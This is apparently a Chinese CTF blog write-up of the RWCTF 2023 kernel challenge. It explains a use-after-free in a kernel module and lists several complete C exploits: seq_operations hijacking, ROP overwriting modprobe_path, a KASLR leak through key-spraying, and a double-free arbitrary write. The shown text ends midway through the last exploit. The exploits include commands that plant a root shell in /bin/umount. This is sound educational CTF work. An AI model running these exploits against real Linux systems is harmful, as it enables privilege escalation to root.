RWCTF 2023 PWN digging into kernel 3

最近在学习linux内核漏洞利用,正好rwctf体验赛有一道传统内核pwn,于是就在网上找了三个不同的exp分别学习了一下,把这道题的三种解题方法结合我自己的理解汇总成了这篇博客。

题目分析

题目附件

逆向分析rwctf.ko,关注 rwmod_ioctl()函数。它包含两个分支0xC0DECAFE0xDEADBEEF,前者释放内存,后者申请内存并从用户态拷贝数据到内核。

image-20230205231035704

这里有个漏洞:kfree()释放内存后,未清空buf[]全局数组中的指针,导致UAF。

利用方法1

本题的利用分两个阶段:

  • 首先关掉KASLR,实现控制流劫持
  • 然后开启KASLR,泄露出内核地址
  • 最后整合成一个完整的exp

关闭KASLR

为了便于调试,先在qemu启动命令中关掉KASLR,打控制流劫持。

利用思路:

  • 先使用seq_operations结构体占用ko释放的堆块。这个结构体可以打控制流劫持,使用相对简单。
  • 再利用UAF更改这个堆块的内容(函数指针)。通过ko kfree此堆块,紧接着又 kmalloc 该堆块并写入内容。
  • 最后通过 read() 触发函数指针,劫持rip。

劫持rip后,利用ROP改modprobe_path的内容,实现以root用户执行任意命令(如chmod 777 /flag),是比较方便获取flag的方式。

该步骤的代码如下,编译命令gcc test.c -static -masm=intel -o exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <stdint.h>

struct rwstruct{
unsigned int idx;
unsigned int size;
char* cont;
};

int g_fd;
int seq_fd;
int64_t seq_read_buf[4];

int64_t kernel_elf_base = 0xFFFFFFFF81000000;
int64_t pop_rax_ret = 0xffffffff81000ddb;
int64_t pop_rdi_ret = 0xffffffff8106ab4d;
int64_t mov__rdi__rax_ret = 0xffffffff81074e3c; // mov qword ptr [rdi], rax ; xor eax, eax ; jmp 0xffffffff82003240;
int64_t do_task_dead_func = 0xFFFFFFFF810A3190;
int64_t modprobe_path_addr = 0xFFFFFFFF828510A0;
int64_t add_rsp_170_ret = 0xffffffff819d9f4c;
int64_t pop_rbp_ret = 0xffffffff810679ef;

int rwctf_ioctl_kmalloc(int idx, int size, char* cont){
struct rwstruct rw_buf;
rw_buf.idx = idx;
rw_buf.size = size;
rw_buf.cont = cont;
ioctl(g_fd,0xDEADBEEF,&rw_buf);
}

int rwctf_ioctl_kfree(int idx){
struct rwstruct rw_buf;
rw_buf.idx = idx;
rw_buf.size = 0;
rw_buf.cont = 0;
ioctl(g_fd,0xC0DECAFE,&rw_buf);
}

void prepare(){
system("echo '#!/bin/sh\nrm /bin/umount\necho -e \"#!/bin/sh\\n/bin/sh\" > /bin/umount\nchmod 777 /bin/umount\nchmod 777 /flag' > /tmp/x");
// system("echo -n '#!/bin/sh\n/bin/sh' > /tmp/getshell");
// system("echo '#!/bin/sh\n' > /tmp/x");
// system("echo 'rm -rf /bin/umount\n' >> /tmp/x");
// system("echo 'mv /tmp/getshell /bin/umount\n' >> /tmp/x");
// system("echo 'chmod 777 /bin/umount\n' >> /tmp/x");
// system("echo '#!/bin/sh\nchmod 777 /flag' > /tmp/x");
system("chmod +x /tmp/x");

system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");

if(fork()) {
sleep(3); // 需要在这个间隙中,将modprobe_path改成/tmp/x
system("/tmp/dummy 2>/dev/null");
system("ls -l /flag");
system("cat /flag");
exit(1);
}
}

void hijack(){
int OBJ_SIZE = 0x20;
char *temp_buf = malloc(OBJ_SIZE);
memset(temp_buf,'a',OBJ_SIZE);
rwctf_ioctl_kmalloc(0,OBJ_SIZE,temp_buf);
rwctf_ioctl_kfree(0);
// #define O_WRONLY 00000001
seq_fd = open("/proc/self/stat",0); // #define O_RDONLY 00000000
rwctf_ioctl_kfree(0);

char fake_seq_operations[OBJ_SIZE];
memset(fake_seq_operations,'0',OBJ_SIZE);
*(unsigned long long *)&fake_seq_operations[0x0] = add_rsp_170_ret; // rip
*(unsigned long long *)&fake_seq_operations[0x8] = 0x0;
*(unsigned long long *)&fake_seq_operations[0x10] = 0x0;
*(unsigned long long *)&fake_seq_operations[0x18] = 0x0;
rwctf_ioctl_kmalloc(0,OBJ_SIZE,fake_seq_operations);

__asm__(
"mov r15, 0x0;" // 1
"mov r14, pop_rax_ret;" // 2
"mov r13, 0x782f706d742f;" // 3
"mov r12, pop_rdi_ret;" // 4
"mov r11, 0x11111111;" // 7 null
"mov r10, mov__rdi__rax_ret;" // 8
"mov rbp, modprobe_path_addr;" // 5
"mov rbx, pop_rbp_ret;" // 6 pop1,ret
"mov r9, do_task_dead_func;" // 9
"mov r8, 0x88888888;" // 10
"mov rcx, 0xcccccccc;"
"xor rax, rax;"
"mov rdx, 0x20;"
"mov rsi, seq_read_buf;"
"mov rdi, seq_fd;" // read(seq_fd,seq_read_buf,0x20),触发seq_operations->start函数指针,控制流劫持
"syscall"
);
}

int main(){
g_fd = open("/dev/rwctf",2); // #define O_RDWR 00000002
prepare();
hijack();
}
1
2
3
思考:
- 什么版本下可以使用modprobe_path方法?(在一篇文章中看到,2017年从linux4.11开始就提出了CONFIG_STATIC_USERMODEHELPER来防止modprobe_path被改。但是这个题目时linux5.19.0的,依然可以用这个方法。所以可能是处于性能?或其他原因未开启这个防护?)
- 这道题能否用提权到root的方法获取flag?如何做?(可以,以root用户将umount改成/bin/sh,exit退出系统时就能获得root shell)

绕过KASLR

为了绕过KASLR,需要通过UAF泄露出内核地址信息。

sys_add_key + UAF =》 越界读

调用add_key系统调用存放密钥时,内核处理函数根据payload_len会有两次内存申请。第一次申请长度为payload_len,第二次在user_preparse()函数中,申请长度为payload_len+0x18strcut user_key_payload结构体)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
syscall(
__NR_add_key,
type,
description,
payload,
payload_len,
keyring
);

struct user_key_payload {
struct rcu_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this data */
char data[] __aligned(__alignof__(u64)); /* actual data */
};

因此,以payload_len为0x100-0x18为例,我们可以构造如下调用顺序,使得漏洞ko的 buf[1] 跟add_key的 strcut user_key_payload 占用同一个堆块。在步骤7的时候,将 user_key_payload.datalen 改成一个超大值如0x1000,当下次读取该key时就能越界读出。

image-20230206004424733

观察了一下泄露出来的内存,没有发现合适的内核地址。因此需要进一步,往堆上喷内核地址。

sys_add_key + sys_keyctl =》 堆喷内核地址

sys_keyctl中有一个 KEYCTL_REVOKE ,它用于取消一个密钥。内核中,对应的处理流程是_x64_sys_keyctl() -> keyctl_revoke_key() -> key_revoke() -> user_revoke() -> call_rcu(),在call_rcu()函数中将 user_key_payload 结构体的 rcu.func 设置成user_free_payload_rcu()函数的地址(nokaslr的情况下是0xffffffff813d8210)。

1
2
3
4
5
6
7
8
9
10
11
struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head

struct user_key_payload {
struct rcu_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this data */
char data[] __aligned(__alignof__(u64)); /* actual data */
};

通过不断地add_key然后revoke_key,就能将user_free_payload_rcu()函数地址喷到堆中,再结合上一步地越界读,就可以稳定泄露一个内核地址了。

exp

打完效果如下图

image-20230205181456003

精简版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
// musl-gcc -static -masm=intel exp.c -o exp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <stdint.h>

#define size_user_key_payload 24
#define HEAP_SPRAY_COUNT 20

#define KEY_SPEC_PROCESS_KEYRING -2 /* - key ID for process-specific keyring */
#define KEYCTL_REVOKE 3 /* revoke a key */
#define KEYCTL_READ 11 /* read a key or keyring's contents */


struct rwstruct{
unsigned int idx;
unsigned int size;
char* cont;
};

int g_fd;
int seq_fd;
int64_t seq_read_buf[4];
int64_t g_kernel_base;

int64_t kernel_elf_base = 0xFFFFFFFF81000000;
int64_t pop_rax_ret = 0xffffffff81000ddb;
int64_t pop_rdi_ret = 0xffffffff8106ab4d;
int64_t mov__rdi__rax_ret = 0xffffffff81074e3c; //: mov qword ptr [rdi], rax ; xor eax, eax ; jmp 0xffffffff82003240;
int64_t do_task_dead_func = 0xFFFFFFFF810A3190;
int64_t modprobe_path_addr = 0xFFFFFFFF828510A0;
int64_t add_rsp_170_ret = 0xffffffff819d9f4c;
int64_t pop_rbp_ret = 0xffffffff810679ef;

int rwctf_ioctl_kmalloc(int idx, int size, char* cont){
struct rwstruct rw_buf;
rw_buf.idx = idx;
rw_buf.size = size;
rw_buf.cont = cont;
ioctl(g_fd,0xDEADBEEF,&rw_buf);
}

int rwctf_ioctl_kfree(int idx){
struct rwstruct rw_buf;
rw_buf.idx = idx;
rw_buf.size = 0;
rw_buf.cont = 0;
ioctl(g_fd,0xC0DECAFE,&rw_buf);
}

int key_alloc(char* description, char* payload, int payload_len)
{
return syscall(
__NR_add_key,
"user",
description,
payload,
payload_len,
KEY_SPEC_PROCESS_KEYRING
);
}

int key_read(int key_id, char *retbuf, int retbuf_len)
{
return syscall(
__NR_keyctl,
KEYCTL_READ,
key_id,
retbuf,
retbuf_len
);
}

int key_revoke(int key_id)
{
return syscall(
__NR_keyctl,
KEYCTL_REVOKE,
key_id,
0,
0,
0
);
}

void prepare(){
system("echo '#!/bin/sh\nrm /bin/umount\necho -e \"#!/bin/sh\\n/bin/sh\" > /bin/umount\nchmod 777 /bin/umount' > /tmp/x");
system("echo 'chmod 777 /flag' >> /tmp/x");
system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");

if(fork()) {
sleep(3); // 需要在这个间隙中,将modprobe_path改成/tmp/x
system("/tmp/dummy 2>/dev/null");
system("ls -l /flag");
system("cat /flag");
exit(1);
}
}

void hijack(){
// re calc addr
pop_rax_ret = pop_rax_ret - kernel_elf_base + g_kernel_base;
pop_rdi_ret = pop_rdi_ret - kernel_elf_base + g_kernel_base;
mov__rdi__rax_ret = mov__rdi__rax_ret - kernel_elf_base + g_kernel_base;
do_task_dead_func = do_task_dead_func - kernel_elf_base + g_kernel_base;
modprobe_path_addr = modprobe_path_addr - kernel_elf_base + g_kernel_base;
pop_rbp_ret = pop_rbp_ret - kernel_elf_base + g_kernel_base;
add_rsp_170_ret = add_rsp_170_ret - kernel_elf_base + g_kernel_base;

int OBJ_SIZE = 0x20;
char *temp_buf = malloc(OBJ_SIZE);
memset(temp_buf,'a',OBJ_SIZE);
rwctf_ioctl_kmalloc(0,OBJ_SIZE,temp_buf);
rwctf_ioctl_kfree(0);

seq_fd = open("/proc/self/stat",0); // #define O_RDONLY 00000000
rwctf_ioctl_kfree(0);

char fake_seq_operations[OBJ_SIZE];
memset(fake_seq_operations,'0',OBJ_SIZE);
*(unsigned long long *)&fake_seq_operations[0x0] = add_rsp_170_ret; // rip
*(unsigned long long *)&fake_seq_operations[0x8] = 0x0;
*(unsigned long long *)&fake_seq_operations[0x10] = 0x0;
*(unsigned long long *)&fake_seq_operations[0x18] = 0x0;
rwctf_ioctl_kmalloc(0,OBJ_SIZE,fake_seq_operations);

__asm__(
"mov r15, 0x0;" // 1
"mov r14, pop_rax_ret;" // 2
"mov r13, 0x782f706d742f;" // 3
"mov r12, pop_rdi_ret;" // 4
"mov r11, 0x11111111;" // 7null
"mov r10, mov__rdi__rax_ret;" // 8
"mov rbp, modprobe_path_addr;" // 5
"mov rbx, pop_rbp_ret;" // 6 pop1,ret
"mov r9, do_task_dead_func;" // 9
"mov r8, 0x88888888;" // 10
"mov rcx, 0xcccccccc;"
"xor rax, rax;"
"mov rdx, 0x20;"
"mov rsi, seq_read_buf;"
"mov rdi, seq_fd;" // read(seq_fd,seq_read_buf,0x20)
"syscall"
);
}

void leak(){
int OBJ_SIZE = 0x100;
char *temp_buf = malloc(OBJ_SIZE);
memset(temp_buf,'x',OBJ_SIZE);
rwctf_ioctl_kmalloc(0,OBJ_SIZE,temp_buf); // 1
rwctf_ioctl_kmalloc(1,OBJ_SIZE,temp_buf); // 2
rwctf_ioctl_kfree(1); // 3
rwctf_ioctl_kfree(0); // 4

int ADD_KEY_SIZE = OBJ_SIZE - size_user_key_payload;
char *payload = malloc(ADD_KEY_SIZE);
memset(payload, 'y', ADD_KEY_SIZE);
int key_id = key_alloc("description234",payload,ADD_KEY_SIZE); // 5

rwctf_ioctl_kfree(1); // 6

*(unsigned long long *)&temp_buf[0x0] = 0;
*(unsigned long long *)&temp_buf[0x8] = 0;
*(unsigned long long *)&temp_buf[0x10] = 0x1000;
rwctf_ioctl_kmalloc(1,OBJ_SIZE,temp_buf); // 7

// spray: step 1
int test_id[30];
int i = 0;
int a = 0;
srand((unsigned)time(NULL));
char * tmp_desc = (char*)malloc(20);
memset(tmp_desc, 0, 20);
for(i =0; i < HEAP_SPRAY_COUNT; i++){
snprintf(tmp_desc, 20, "a%x", rand());
test_id[i] = key_alloc(tmp_desc,payload,ADD_KEY_SIZE);
}

// spray: step 2 - revoke
for(i =0; i < HEAP_SPRAY_COUNT; i++){
key_revoke(test_id[i]);
}

char *retbuf1 = malloc(0x1000);
memset(retbuf1, 0, 0x1000);
int qqq = key_read(key_id,retbuf1,0x1000);

// leak
int64_t offset_user_free_payload_rcu = 0xFFFFFFFF813D8210 - 0xFFFFFFFF81000000;
int64_t leak_addr = *(int64_t *)&retbuf1[0xf0];
g_kernel_base = leak_addr - offset_user_free_payload_rcu;
printf("[!] kernel_base : 0x%lx\n",g_kernel_base);
}

int main(){
g_fd = open("/dev/rwctf",2); // #define O_RDWR 00000002
prepare();
leak();
hijack();
}

调试版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <ctype.h>
#include <err.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/timerfd.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <linux/keyctl.h>
#include <time.h>

#define size_user_key_payload 24
#ifndef HEXDUMP_COLS
#define HEXDUMP_COLS 16
#endif
#define HEAP_SPRAY_COUNT 20

struct rwstruct{
unsigned int idx;
unsigned int size;
char* cont;
};

int g_fd;
int seq_fd;
int64_t seq_read_buf[4];
int64_t g_kernel_base;

int64_t kernel_elf_base = 0xFFFFFFFF81000000;
int64_t pop_rax_ret = 0xffffffff81000ddb;
int64_t pop_rdi_ret = 0xffffffff8106ab4d;
int64_t mov__rdi__rax_ret = 0xffffffff81074e3c; //: mov qword ptr [rdi], rax ; xor eax, eax ; jmp 0xffffffff82003240;
int64_t add_rsp_160_ret = 0xffffffff81083932;
int64_t do_task_dead_func = 0xFFFFFFFF810A3190;
int64_t modprobe_path_addr = 0xFFFFFFFF828510A0;
int64_t add_rsp_170_ret = 0xffffffff819d9f4c;
int64_t pop_rbp_ret = 0xffffffff810679ef;


int rwctf_ioctl_kmalloc(int idx, int size, char* cont){
struct rwstruct rw_buf;
rw_buf.idx = idx;
rw_buf.size = size;
rw_buf.cont = cont;
ioctl(g_fd,0xDEADBEEF,&rw_buf);
}

int rwctf_ioctl_kfree(int idx){
struct rwstruct rw_buf;
rw_buf.idx = idx;
rw_buf.size = 0;
rw_buf.cont = 0;
ioctl(g_fd,0xC0DECAFE,&rw_buf);
}


int key_alloc(char* description, char* payload, int payload_len)
{
return syscall(
__NR_add_key,
"user",
description,
payload,
payload_len,
KEY_SPEC_PROCESS_KEYRING
);
}

int key_read(int key_id, char *retbuf, int retbuf_len)
{
return syscall(
__NR_keyctl,
KEYCTL_READ,
key_id,
retbuf,
retbuf_len
);
}

int key_revoke(int key_id)
{
return syscall(
__NR_keyctl,
KEYCTL_REVOKE,
key_id,
0,
0,
0
);
}


void hexdump(void *mem, unsigned int len) {
putchar('\n');
for(int i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++) {
/* print offset */
if(i % HEXDUMP_COLS == 0) {
printf("0x%06x: ", i);
}

/* print hex data */
if(i < len) {
printf("%02x ", 0xFF & ((char*)mem)[i]);
}
/* end of block, just aligning for ASCII dump */
else {
printf(" ");
}

/* print ASCII dump */
if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1)) {
for(int j = i - (HEXDUMP_COLS - 1); j <= i; j++) {
/* end of block, not really printing */
if(j >= len) {
putchar(' ');
}
/* printable char */
else if(isprint(((char*)mem)[j])) {
putchar(0xFF & ((char*)mem)[j]);
}
/* other char */
else {
putchar('.');
}
}
putchar('\n');
}
}
putchar('\n');
}


void prepare(){
//system("echo '#!/bin/sh\nrm /bin/umount\necho -e \\"#!/bin/sh\\n/bin/sh\\" > /bin/umount\nchmod 777 /bin/umount' > /tmp/x");

system("echo '#!/bin/sh\nrm /bin/umount\necho -e \"#!/bin/sh\\n/bin/sh\" > /bin/umount\nchmod 777 /bin/umount' > /tmp/x");
// system("echo -n '#!/bin/sh\n/bin/sh' > /tmp/getshell");
// system("echo '#!/bin/sh\n' > /tmp/x");
// system("echo 'rm -rf /bin/umount\n' >> /tmp/x");
// system("echo 'mv /tmp/getshell /bin/umount\n' >> /tmp/x");
// system("echo 'chmod 777 /bin/umount\n' >> /tmp/x");
// system("echo '#!/bin/sh\nchmod 777 /flag' > /tmp/x");
system("chmod +x /tmp/x");

system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");

if(fork()) {
sleep(3); // 需要在这个间隙中,将modprobe_path改成/tmp/x
system("/tmp/dummy 2>/dev/null");
system("ls -l /flag");
system("cat /flag");
exit(1);
}
}


void hijack(){
// re calc addr
pop_rax_ret = pop_rax_ret - kernel_elf_base + g_kernel_base;
pop_rdi_ret = pop_rdi_ret - kernel_elf_base + g_kernel_base;
mov__rdi__rax_ret = mov__rdi__rax_ret - kernel_elf_base + g_kernel_base;
add_rsp_160_ret = add_rsp_160_ret - kernel_elf_base + g_kernel_base;
do_task_dead_func = do_task_dead_func - kernel_elf_base + g_kernel_base;
modprobe_path_addr = modprobe_path_addr - kernel_elf_base + g_kernel_base;
pop_rbp_ret = pop_rbp_ret - kernel_elf_base + g_kernel_base;
add_rsp_170_ret = add_rsp_170_ret - kernel_elf_base + g_kernel_base;

int OBJ_SIZE = 0x20;
char *temp_buf = malloc(OBJ_SIZE);
memset(temp_buf,'a',OBJ_SIZE);
rwctf_ioctl_kmalloc(0,OBJ_SIZE,temp_buf);
rwctf_ioctl_kfree(0);
// #define O_WRONLY 00000001
seq_fd = open("/proc/self/stat",0); // #define O_RDONLY 00000000
rwctf_ioctl_kfree(0);

char fake_seq_operations[OBJ_SIZE];
memset(fake_seq_operations,'0',OBJ_SIZE);
*(unsigned long long *)&fake_seq_operations[0x0] = add_rsp_170_ret; // rip
*(unsigned long long *)&fake_seq_operations[0x8] = 0x0;
*(unsigned long long *)&fake_seq_operations[0x10] = 0x0;
*(unsigned long long *)&fake_seq_operations[0x18] = 0x0;
rwctf_ioctl_kmalloc(0,OBJ_SIZE,fake_seq_operations);

__asm__(
"mov r15, 0x0;" // 1
"mov r14, pop_rax_ret;" // 2
"mov r13, 0x782f706d742f;" // 3
"mov r12, pop_rdi_ret;" // 4
"mov r11, 0x11111111;" // 7null
"mov r10, mov__rdi__rax_ret;" // 8
"mov rbp, modprobe_path_addr;" // 5
"mov rbx, pop_rbp_ret;" // 6 pop1,ret
"mov r9, do_task_dead_func;" // 9
"mov r8, 0x88888888;" // 10
"mov rcx, 0xcccccccc;"
"xor rax, rax;"
"mov rdx, 0x20;"
"mov rsi, seq_read_buf;"
"mov rdi, seq_fd;" // read(seq_fd,seq_read_buf,0x20)
"syscall"
);
}

void leak(){
int OBJ_SIZE = 0x100;
char *temp_buf = malloc(OBJ_SIZE);
memset(temp_buf,'x',OBJ_SIZE);
rwctf_ioctl_kmalloc(0,OBJ_SIZE,temp_buf); // 1
rwctf_ioctl_kmalloc(1,OBJ_SIZE,temp_buf); // 2
rwctf_ioctl_kfree(1); // 3
rwctf_ioctl_kfree(0); // 4

int ADD_KEY_SIZE = OBJ_SIZE - size_user_key_payload;
char *payload = malloc(ADD_KEY_SIZE);
memset(payload, 'y', ADD_KEY_SIZE);
int key_id = key_alloc("description234",payload,ADD_KEY_SIZE); // 5

rwctf_ioctl_kfree(1); // 6

*(unsigned long long *)&temp_buf[0x0] = 0;
*(unsigned long long *)&temp_buf[0x8] = 0;
*(unsigned long long *)&temp_buf[0x10] = 0x1000;
// for(i = 0;i<3;i++){
rwctf_ioctl_kmalloc(1,OBJ_SIZE,temp_buf); // 7
// }
// 原exp的方法中,步骤6之前进行了大量堆喷的情况下,步骤7只做一次的话,分配到上一步kfree的堆块的概率很小,所以需要重复多次(如果把spray放到这一步的前面)

// spray: step 1
int test_id[30];
int i = 0;
int a = 0;
srand((unsigned)time(NULL));
char * tmp_desc = (char*)malloc(20);
memset(tmp_desc, 0, 20);
for(i =0; i < HEAP_SPRAY_COUNT; i++){
snprintf(tmp_desc, 20, "a%x", rand());
// printf("[+]string: %s\n",tmp_desc);
test_id[i] = key_alloc(tmp_desc,payload,ADD_KEY_SIZE);
// printf("[+]test_id[%d]: 0x%x\n",i,test_id[i]);
}

// spray: step 2 - revoke
for(i =0; i < HEAP_SPRAY_COUNT; i++){
key_revoke(test_id[i]);
}

char *retbuf1 = malloc(0x1000);
memset(retbuf1, 0, 0x1000);
int qqq = key_read(key_id,retbuf1,0x1000);

// dump
// printf("---------------[8]------------\n");
// printf("[+] read ret : %d\n",qqq);
// if(qqq > 300){
// hexdump(retbuf1,0x1000);
// }else{
// printf("falied\n");
// }

// leak
int64_t offset_user_free_payload_rcu = 0xFFFFFFFF813D8210 - 0xFFFFFFFF81000000;
int64_t leak_addr = *(int64_t *)&retbuf1[0xf0];
g_kernel_base = leak_addr - offset_user_free_payload_rcu;
printf("[+] kernel_base : 0x%lx\n",g_kernel_base);
}

int main(){
g_fd = open("/dev/rwctf",2); // #define O_RDWR 00000002
prepare();
leak();
hijack();
}

利用方法2

double free -> 任意地址写

查看bzImage中kmalloc函数的实现,prefetcht0指令临近的前几条指令没有xor指令(不知道有没有更简单的判断方法),可以确定本题未开启slab_freelist_hardened 防护,因此可以利用double free实现任意地址写。

以0x20大小的堆为例,double free过后,堆中内容如下图所示:

image-20230209210454379

在关闭KASLR的情况下,利用 任意地址写+modprobe_path 能以root权限执行一条shell命令,获得flag。该部分exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
// gcc exp.c -static -o exp
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <ctype.h>
#include <err.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/timerfd.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <linux/keyctl.h>
#include <time.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include<sys/shm.h>

#define OBJSIZE 0x20

int g_fd;

int64_t kernel_elf_base = 0xFFFFFFFF81000000;
int64_t modprobe_path_addr = 0xFFFFFFFF828510A0;

struct rwstruct{
unsigned int idx;
unsigned int size;
char* cont;
};

int rwctf_ioctl_kmalloc(int idx, int size, char* cont){
struct rwstruct rw_buf;
rw_buf.idx = idx;
rw_buf.size = size;
rw_buf.cont = cont;
ioctl(g_fd,0xDEADBEEF,&rw_buf);
}

int rwctf_ioctl_kfree(int idx){
struct rwstruct rw_buf;
rw_buf.idx = idx;
rw_buf.size = 0;
rw_buf.cont = 0;
ioctl(g_fd,0xC0DECAFE,&rw_buf);
}

void aaw(int64_t* target_addr_p, char* target_cont_p){
char* buf = malloc(OBJSIZE);
memset(buf,'a',OBJSIZE);
rwctf_ioctl_kmalloc(0,OBJSIZE,buf);
rwctf_ioctl_kfree(0);
rwctf_ioctl_kfree(0); // double free

memcpy(buf+0x10,target_addr_p,0x8);
rwctf_ioctl_kmalloc(0,OBJSIZE,buf); // hijack, aaw address
rwctf_ioctl_kmalloc(0,OBJSIZE,buf);
rwctf_ioctl_kmalloc(0,OBJSIZE,target_cont_p); // aaw content
}

void prepare(){
system("echo '#!/bin/sh\nrm /bin/umount\necho -e \"#!/bin/sh\\n/bin/sh\" > /bin/umount\nchmod 777 /bin/umount' > /tmp/x");
system("echo '\nchmod 777 /flag' >> /tmp/x");
system("chmod +x /tmp/x");

system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");

if(fork()) {
sleep(3); // 需要在这个间隙中,将modprobe_path改成/tmp/x
system("/tmp/dummy 2>/dev/null");
system("ls -l /flag");
system("cat /flag");
exit(1);
}
}

int main(){
g_fd = open("/dev/rwctf",2); // #define O_RDWR 00000002

prepare(); // 1. prepare /tmp/x & /tmp/dummy, then wait 3s to exec /tmp/dummy

int64_t target_addr = modprobe_path_addr;
char* target_cont_p = malloc(OBJSIZE);
memset(target_cont_p,'y',OBJSIZE);
memcpy(target_cont_p,"/tmp/x\x00",0x7);
aaw(&target_addr,target_cont_p); // 2. use aaw() to overwrite modprobe_path

return 0;
}

msg_msg+shm_file_data -> 泄露内核地址

由于题目开启了KASLR选项,因此我们还需要泄露内核加载基址,才能完成利用。

本题内核未开启CONFIG_CHECKPOINT_RESTORE选项,因此无法使用MSG_COPY特性。不过我们无需覆盖msg_msg结构体的内容,因此对我们的解法无影响。

msg_msg+shm_file_data结合本题漏洞ko的利用过程如下图所示:

image-20230209220917391

  1. 漏洞ko申请一个0x20大小的堆块A
  2. 漏洞ko释放该0x20大小堆块A
  3. 构造msgsnd()操作,使其内核中第二个数据块总大小为0x20,于是占用了刚刚释放的堆块A
  4. 因为漏洞ko存在UAF,借此能力继续释放堆块A。于是msg_msg中出现了一个悬空指针
  5. shmat()操作在内核中需要为shm_file_data结构体申请0x20大小的空间,于是拿到了刚刚释放的堆块A,并往堆块中写入内容(有内核地址)
  6. 通过msgrcv()就能把shm_file_data结构体内容泄露到用户态

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <ctype.h>
#include <err.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/timerfd.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <linux/keyctl.h>
#include <time.h>
#include <sys/ipc.h>
